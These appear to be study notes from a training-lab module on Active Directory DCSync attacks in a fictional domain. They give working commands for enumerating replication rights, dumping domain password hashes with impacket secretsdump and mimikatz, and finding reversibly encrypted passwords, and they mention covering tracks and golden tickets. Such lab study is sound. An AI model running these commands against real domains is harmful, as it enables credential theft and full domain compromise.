Following our previous modules, we now have control over the user adunn who has DCSync privileges in the INLANEFREIGHT.LOCAL domain.
- We'll move back-and-forth between win and nix hosts as we work.
- When we need to interact from the nix host, open PS on
ms01and ssh to172.16.5.225with credentialshtb-student:HTB_@cademy_stdnt!- Could likely use
secretsdump.execompiled for windows
- Could likely use
DCSync
- Technique stealing the AD password database using built-in
Directory Replication Service Remote Protocol - Allow attackers to mimic a DC to retrieve user NTLM pw hashes.
- Must have control over an account with rights to perform domain replication (
Replicating Directory Changesaswell asReplicating Directory Changes Allpermissions set.)
It's common to find users with these rights.
Using Get-DomainUser to view adunn group membership
PS C:\htb> Get-DomainUser -Identity adunn |select samaccountname,objectsid,memberof,useraccountcontrol |fl
samaccountname : adunn
objectsid : S-1-5-21-3842939050-3880317879-2865463114-1164
memberof : {CN=VPN Users,OU=Security Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL, CN=Shared Calendar
Read,OU=Security Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL, CN=Printer Access,OU=Security
Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL, CN=File Share H Drive,OU=Security
Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL...}
useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
Powerview can also be used to confirm. Get the user SID and check all ACLs set on the domain object DC=inlanefreight,DC=local using Get-ObjectAcl to get acls associated w/ the obj.
$sid= "S-1-5-21-3842939050-3880317879-2865463114-1164"
Get-ObjectAcl "DC=inlanefreight,DC=local" -ResolveGUIDs | ? { ($_.ObjectAceType -match 'Replication-Get')} | ?{$_.SecurityIdentifier -match $sid} |select AceQualifier, ObjectDN, ActiveDirectoryRights,SecurityIdentifier,ObjectAceType | fl
If we had certain rights i.e. WriteDacl we could also add this privilege to a user under our control, execute the DCsync, and remove privileges to cover tracks. DCSync attacks can be performed with mimikatz, Invoke-DCSync, and impacket's secretsdump.py
secretsdump -just-dc instructs tool to extract NTLM / kerb keys from NTDS.dit
secretsdump.py -outputfile inlanefreight_hashes -just-dc INLANEFREIGHT/adunn@172.16.5.5
-just-dc-ntlm for just ntlm, or
-just-dc-user <USER>
other neat flags are -history for pwd history and -pwd-last-set to see when pwds were last changed. -user-status for active/inactive users
We can dump the NTDS and filter out disabled users when providing our client with password cracking statistics
Accounts with Reversible Encryption Password Storage Set
When this is set on a user account:
- Passwords stored using RC4 encryption
- Key needed to decrypt hash is stored in Registry (
Syskey) https://docs.microsoft.com/en-us/windows-server/security/kerberos/system-key-utility-technical-overview - Can be extracted by Domain Admin / equiv.
- secretsdump.py will decrypt any passwords stored with reversible enc. while dumping the NTDS file either as a domain admin or using DCSync
- If disabled, user will need to change their password for it to be stored using one-way encryption. Passwords set on accounts with this setting enabled will be stored using reversible encryption until changed.
- Enumerated with
Get-ADUser
Get-ADUser -Filter 'userAccountControl -band 128' -Properties userAccountControl
-band = bitwise and (compare two numbers at binary level, by comparing each bit of the two operands. if both bits are 1, result is 1)
128 corresponds to bit flag for password not required
thus -band 128 checks if bit corresponding to 128 is set in uac
Powerview:
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol
Sometimes all user accounts are stored using reversible encryption. Some clients may do this to be able to dump NTDS and perform periodic password strength audits without having to resort to offline password cracking.
Mimikatz can perform this attack too. (we target administrator built-in here but we could also target krbtgt and create a golden ticket)
- must be run in context of user with dcsync privileges
runas /netonly /user:INLANEFREIGHT\adunn powershell
Enter the password for INLANEFREIGHT\adunn:
Attempting to start powershell as user "INLANEFREIGHT\adunn" ...
.\mimikatz.exe
mimikatz # privilege::debug
mimikatz # lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\administrator